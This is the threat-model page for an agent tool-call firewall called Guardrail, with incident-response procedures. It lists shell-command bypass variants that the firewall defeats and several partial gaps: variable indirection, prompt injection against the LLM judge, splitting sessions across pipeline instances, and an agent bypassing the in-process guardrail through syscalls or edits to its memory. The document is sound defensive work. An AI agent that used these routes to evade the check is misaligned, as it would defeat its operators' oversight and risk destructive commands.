Guardrail Threat Model

Guardrail is a deterministic-first policy firewall for agent tool calls. It classifies agent framework invocations (Read, Bash, Edit, etc.) into guardrail actions and checks them against a policy that allows safe operations and denies dangerous ones.

The docs on this site are public. The engine itself is licensed source — it ships to licensees under a commercial license agreement (request access). This document describes the security properties you can rely on without reading the engine.

Phase 1–4 in the table are the engine’s rule-evaluation phases — defined in the tuning guide.

What the Guardrail Protects Against

Bypass Techniques That Were Tested and Defeated

A mutation fuzzer generates variants across 9 operator families, all handled by the AST structural matching layer:

• Flag reordering: rm -rf → rm -fr, rm -r -f
• Whitespace variation: rm -rf → rm -rf
• Metacharacter injection: rm $(true) -rf /, rm "" -rf
• Path encoding: rm -rf //etc, rm -rf /./etc/passwd
• Case mutation: RM -RF, Rm -rf
• Quote insertion: rm "-rf", rm '-rf'
• Unicode homoglyphs: ｒｍ -ｒｆ
• Command wrapping: nohup rm -rf, sudo rm -rf, env FOO=bar rm -rf
• Arg separator: rm -- -rf /, rm -rf -- /

See the policy tuning guide for techniques that are not fully covered.

Variable Indirection (Partial)

Attack:  cmd='rm -rf /'; $cmd
Defense: AST sees "$cmd" as a string literal, not as "rm -rf /"
         → string-level rules do not match
         → AST rules see command word = "$cmd" (no match)
         → Confidence: Unknown → Escalate → LLM tier called
Status:  PARTIAL (escalates, relies on LLM tier)

Attack:  x='rm'; $x -rf /
Status:  PARTIAL (escalates to LLM)

Recommendation: if your deployment relies on LLM tier availability, ensure the LLM is configured. Without an LLM, variable indirection returns Escalate — a safe fallback, but the call is blocked.

Prompt Injection (Acknowledged Risk)

The LLM judge receives a minimal prompt containing the tool call’s action, target, and parameters, and is instructed to reply with exactly one word (allow, deny, or escalate).

Risk: If tool call parameters contain text that influences the LLM judge’s output (e.g., a target value structured as an imperative instruction), the judge could be influenced. The prompt is intentionally minimal and runs at temperature=0 to reduce this risk.

Mitigation: The downgrade prevention invariant ensures that even a successfully jailbroken LLM cannot produce an Allow verdict for a call the deterministic tier escalated. The maximum damage is:

• False Deny (model says “deny” when it should escalate)
• False Escalate (model says “escalate” when it could have allowed)

Both are security-safe outcomes. The model cannot produce a new Allow for an escalated call.

Supply Chain via Package Managers

Package-manager installs are deliberately left unclassified rather than blanket-denied. Safe installs (e.g. npm install lodash) are allowed, system-level installs (apt, brew) escalate for human review, and malicious-source installs — pip install from a URL, npm install -g of an unknown package — are denied by the deterministic tier.

Mitigation: Malicious-source installs are caught deterministically; ambiguous installs escalate to the LLM judge or a human. If you want installs blocked entirely, add the package-manager actions to a deny category in your policy rather than weakening the guardrail.

In-Session Privilege Escalation Across Turns

Session chain detection mitigates multi-turn recon → exploit attacks. However:

• The session window is in-memory and local to each pipeline instance.
• An attacker who interleaves safe operations across different pipeline instances (in a load-balanced deployment) could bypass the window.
• Session tracking is opt-in.
• The default recon_threshold of 3 consecutive safe calls means a 1–2 safe + 1 dangerous pattern is not caught.

Side-Channel Attacks

The guardrail returns different response sizes and timings for Allow vs Deny. A timing side-channel could theoretically distinguish “action not in classification (Escalate)” from “action classified but verdict not reached (Escalate)”. Both return Escalate, so the information leakage is minimal. The service does not reveal why a call was denied beyond the audit trace, which is intentionally returned to the caller.

What It Does NOT Protect Against

The guardrail is not a comprehensive security solution. It is one layer in a defense-in-depth strategy.

Security Boundaries

┌─────────────────────────────────────────────────────────────┐
│                    AGENT PROCESS BOUNDARY                    │
│                                                             │
│  Agent logic ──tool call──►  Guardrail pipeline             │
│  (Claude, OpenAI,            ├─ Mapping: tool names,        │
│   LangChain, MCP)             │   Bash AST, string rules    │
│                               ├─ Deterministic verdict      │
│                               │   (category rules)          │
│                               └─ Escalate ──► LLM judge     │
│  Tool execution ◄─verdict──        (optional, external)     │
│                                                             │
└─────────────────────────────────────────────────────────────┘
                        TRUST BOUNDARY
   Policy data (deploy-time only)     Session window (in-memory)
   Deterministic engine (ELLM kernel) LLM judge (optional)

NOTE: The guardrail runs inside the agent process boundary. There is no network isolation between the guardrail and the agent it protects. The agent process could bypass the guardrail if it:

1. Executes commands via other means (FFI, direct syscalls)
2. Calls tool execution without going through the guardrail
3. Modifies the guardrail’s in-memory state

Trust Model

What We Trust

What We Do NOT Trust

What Is Verified

Incident Response Procedures

Severity Levels

Response Steps

P1 (False-ALLOW Critical)

1. Immediate containment: If possible, revoke agent execution capability at the infrastructure level (network policy, IAM, service mesh). Determine if the agent process should be terminated.
2. Root cause analysis: Determine which tier failed:
   • Mapped wrong action: Was it a direct tool-name mapping bug? Bash rule ordering? AST normalization issue?
   • Wrong verdict: Was the action classified correctly but the category verdict wrong?
   • LLM bypass: Did the LLM return “allow” for a dangerous action? (Should not happen due to downgrade prevention — investigate this as a pipeline logic bug.)
3. Fix: Add or correct the rule that allowed the bypass. Prioritize AST structural rules over string-level rules.
4. Verify: Run the full test suite and the mutation fuzzer against the fix.
5. Post-mortem: Document the bypass technique, the fix, and whether it indicates a systematic gap.

P2 (False-DENY High)

1. Determine impact: How many users/workflows are affected?
2. Workaround: Add the blocked command to a permit list or temporarily disable the session chain detection.
3. Fix: Widen the matching rule or add exception logic.
4. Verify: Ensure the fix does not introduce a false-ALLOW.

P3 (False-DENY Medium)

1. Log the report: Record the command, tool name, and context.
2. Investigate: Is this a rule ordering issue (dangerous rule fires before safe rule)? A classification issue? A session chain false-positive?
3. Fix in next release: Usually a configuration change or rule reordering.

P4 (Low)

1. Log the gap: Add to the coverage tracking system.
2. Schedule: Include in the next regular review cycle.

Communication

• P1: Notify security team immediately. Freeze deployments until root cause is identified.
• P2: File a P2 bug. Review as soon as possible.
• P3: File a P3 bug. Review promptly.
• P4: File a P4 issue. Review at next triage.

Post-Mortem Template

## Security Incident: [Title]

Date: YYYY-MM-DD
Severity: P1/P2
Component: [tier that failed — mapping / decision / LLM judge / session]

### Timeline
- [time] Attack detected
- [time] Containment applied
- [time] Root cause identified
- [time] Fix deployed

### Root Cause
[Description of the rule gap or bypass]

### Fix
[Commit hash, files changed, reasoning]

### Lessons Learned
- What should we test that we didn't?
- What process gap allowed this?
- How can we detect this class of bypass automatically?

### Action Items
- [ ] Add regression test for this specific bypass
- [ ] Add fuzzer seed for this category
- [ ] Update threat model